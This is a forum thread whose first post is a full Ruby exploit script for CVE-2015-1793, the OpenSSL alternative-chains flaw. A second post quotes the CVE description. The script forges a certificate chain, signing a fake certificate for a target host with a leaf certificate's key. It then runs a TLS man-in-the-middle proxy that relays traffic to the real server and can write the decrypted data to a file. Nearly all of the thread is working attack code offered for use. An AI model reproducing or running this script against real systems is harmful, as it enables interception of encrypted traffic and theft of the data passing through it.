Jump to content
iulik

OpenSSL Alternative Chains Certificate Forgery

Recommended Posts

#!/usr/bin/env ruby
# encoding: ASCII-8BIT
# By Ramon de C Valle. This work is dedicated to the public domain.

require 'openssl'
require 'optparse'
require 'socket'

Version = [0, 0, 1]
Release = nil

class String
def hexdump(stream=$stdout)
0.step(bytesize - 1, 16) do |i|
stream.printf('%08x ', i)

0.upto(15) do |j|
stream.printf(' ') if j == 8

if i + j >= bytesize
stream.printf(' ')
else
stream.printf('%02x ', getbyte(i + j))
end
end

stream.printf(' ')

0.upto(15) do |j|
if i + j >= bytesize
stream.printf(' ')
else
if /[[:print:]]/ === getbyte(i + j).chr && /[^[:space:]]/ === getbyte(i + j).chr
stream.printf('%c', getbyte(i + j))
else
stream.printf('.')
end
end
end

stream.printf("\n")
end
end
end

options = {}

OptionParser.new do |parser|
parser.banner = "Usage: #{parser.program_name} [options] host cacert key cert"

parser.separator('')
parser.separator('Options:')

parser.on('-H', '--local-host HOST', 'Local host') do |host|
options[:local_host] = host
end

parser.on('-P', '--local-port PORT', 'Local port') do |port|
options[:local_port] = port
end

parser.on('-d', '--debug', 'Debug mode') do
options[:debug] = true
end

parser.on('-h', '--help', 'Show this message') do
puts parser
exit
end

parser.on('-o', '--output FILE', 'Output file') do |file|
options[:file] = File.new(file, 'w+b')
end

parser.on('-p', '--port PORT', 'Port') do |port|
options[:port] = port
end

parser.on('-v', '--verbose', 'Verbose mode') do
options[:verbose] = true
end

parser.on('--pass-phrase PASS_PHRASE', 'Pass phrase for the key') do |pass_phrase|
options[:pass_phrase] = pass_phrase
end

parser.on('--subject SUBJECT', 'Subject field for the fake certificate') do |subject|
options[:subject] = subject
end

parser.on('--version', 'Show version') do
puts parser.ver
exit
end
end.parse!

local_host = options[:local_host] || '0.0.0.0'
local_port = options[:local_port] || 443
debug = options[:debug] || false
file = options[:file] || nil
host = ARGV[0] or fail ArgumentError, 'no host given'
port = options[:port] || 443
verbose = options[:verbose] || false
cacert = ARGV[1] or fail ArgumentError, 'no cacert given'
key = ARGV[2] or fail ArgumentError, 'no key given'
pass_phrase = options[:pass_phrase] || nil
cert = ARGV[3] or fail ArgumentError, 'no cert given'
subject = options[:subject] || "/C=US/ST=California/L=Mountain View/O=Example Inc/CN=#{host}"

root_ca_name = OpenSSL::X509::Name.parse('/C=US/O=Root Inc./CN=Root CA')
root_ca_key = OpenSSL::PKey::RSA.new(2048)
root_ca_cert = OpenSSL::X509::Certificate.new
root_ca_cert.issuer = OpenSSL::X509::Name.parse('/C=US/O=Root Inc./CN=Root CA')
root_ca_cert.not_after = Time.now + 86400
root_ca_cert.not_before = Time.now
root_ca_cert.public_key = root_ca_key.public_key
root_ca_cert.serial = 0
root_ca_cert.subject = root_ca_name
root_ca_cert.version = 2
extension_factory = OpenSSL::X509::ExtensionFactory.new(root_ca_cert, root_ca_cert)
root_ca_cert.add_extension(extension_factory.create_extension('basicConstraints', 'CA:TRUE', true))
root_ca_cert.add_extension(extension_factory.create_extension('keyUsage', 'keyCertSign,cRLSign', true))
root_ca_cert.add_extension(extension_factory.create_extension('subjectKeyIdentifier', 'hash'))
root_ca_cert.sign(root_ca_key, OpenSSL::Digest::SHA1.new)

inter_ca_name = OpenSSL::X509::Name.parse('/C=US/O=Intermediate Inc./CN=Intermediate CA')
inter_ca_key = OpenSSL::PKey::RSA.new(2048)
inter_ca_cert = OpenSSL::X509::Certificate.new
inter_ca_cert.issuer = root_ca_name
inter_ca_cert.not_after = Time.now + 86400
inter_ca_cert.not_before = Time.now
inter_ca_cert.public_key = inter_ca_key.public_key
inter_ca_cert.serial = 0
inter_ca_cert.subject = inter_ca_name
inter_ca_cert.version = 2
extension_factory = OpenSSL::X509::ExtensionFactory.new(root_ca_cert, inter_ca_cert)
inter_ca_cert.add_extension(extension_factory.create_extension('basicConstraints', 'CA:TRUE', true))
inter_ca_cert.add_extension(extension_factory.create_extension('keyUsage', 'keyCertSign,cRLSign', true))
inter_ca_cert.add_extension(extension_factory.create_extension('subjectKeyIdentifier', 'hash'))
inter_ca_cert.sign(root_ca_key, OpenSSL::Digest::SHA1.new)

subinter_ca_cert = OpenSSL::X509::Certificate.new(File.read(cacert))
subinter_ca_cert.issuer = inter_ca_name
subinter_ca_cert.sign(inter_ca_key, OpenSSL::Digest::SHA1.new)
leaf_key = OpenSSL::PKey::RSA.new(File.read(key), pass_phrase)
leaf_cert = OpenSSL::X509::Certificate.new(File.read(cert))

fake_name = OpenSSL::X509::Name.parse(subject)
fake_key = OpenSSL::PKey::RSA.new(2048)
fake_cert = OpenSSL::X509::Certificate.new
fake_cert.issuer = leaf_cert.subject
fake_cert.not_after = Time.now + 3600
fake_cert.not_before = Time.now
fake_cert.public_key = fake_key.public_key
fake_cert.serial = 0
fake_cert.subject = fake_name
fake_cert.version = 2
extension_factory = OpenSSL::X509::ExtensionFactory.new(leaf_cert, fake_cert)
fake_cert.add_extension(extension_factory.create_extension('basicConstraints', 'CA:FALSE', true))
fake_cert.add_extension(extension_factory.create_extension('keyUsage', 'digitalSignature,nonRepudiation,keyEncipherment'))
fake_cert.add_extension(extension_factory.create_extension('subjectKeyIdentifier', 'hash'))
fake_cert.sign(leaf_key, OpenSSL::Digest::SHA1.new)

context = OpenSSL::SSL::SSLContext.new
context.cert = fake_cert
context.extra_chain_cert = [leaf_cert, subinter_ca_cert]
context.key = fake_key

tcp_server = TCPServer.new(local_host, local_port)
proxy = OpenSSL::SSL::SSLServer.new(tcp_server, context)

puts 'Listening on %s:%d' % [proxy.addr[2], proxy.addr[1]] if debug || verbose

loop do
Thread.start(proxy.accept) do |client|
puts 'Accepted connection from %s:%d' % [client.peeraddr[2], client.peeraddr[1]] if debug || verbose

context = OpenSSL::SSL::SSLContext.new(:TLSv1)
context.verify_mode = OpenSSL::SSL::VERIFY_NONE

tcp_socket = TCPSocket.new(host, port)
server = OpenSSL::SSL::SSLSocket.new(tcp_socket, context)
server.connect

puts 'Connected to %s:%d' % [server.peeraddr[2], server.peeraddr[1]] if debug || verbose

loop do
readable, = IO.select([client, server])

readable.each do |r|
data = r.readpartial(4096)
data.hexdump($stderr) if debug
puts '%d bytes received' % [data.bytesize] if debug || verbose

if file
file.write(data)
file.flush
file.fsync
end

case r
when client
count = server.write(data)
server.flush
data.hexdump($stderr) if debug
puts '%d bytes sent' % [count] if debug || verbose

when server
count = client.write(data)
client.flush
data.hexdump($stderr) if debug
puts '%d bytes sent' % [count] if debug || verbose
end
end
end

client.close
server.close
end
end

proxy.close

Link to comment
Share on other sites

CVE-2015-1793

Overview:

The X509_verify_cert function in crypto/x509/x509_vfy.c in OpenSSL 1.0.1n, 1.0.1o, 1.0.2b, and 1.0.2c does not properly process X.509 Basic Constraints CA values during identification of alternative certificate chains, which allows remote attackers to spoof a Certification Authority role and trigger unintended certificate verifications via a valid leaf certificate.

Si video explanation: explaining video

Edited by Amidamaru
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...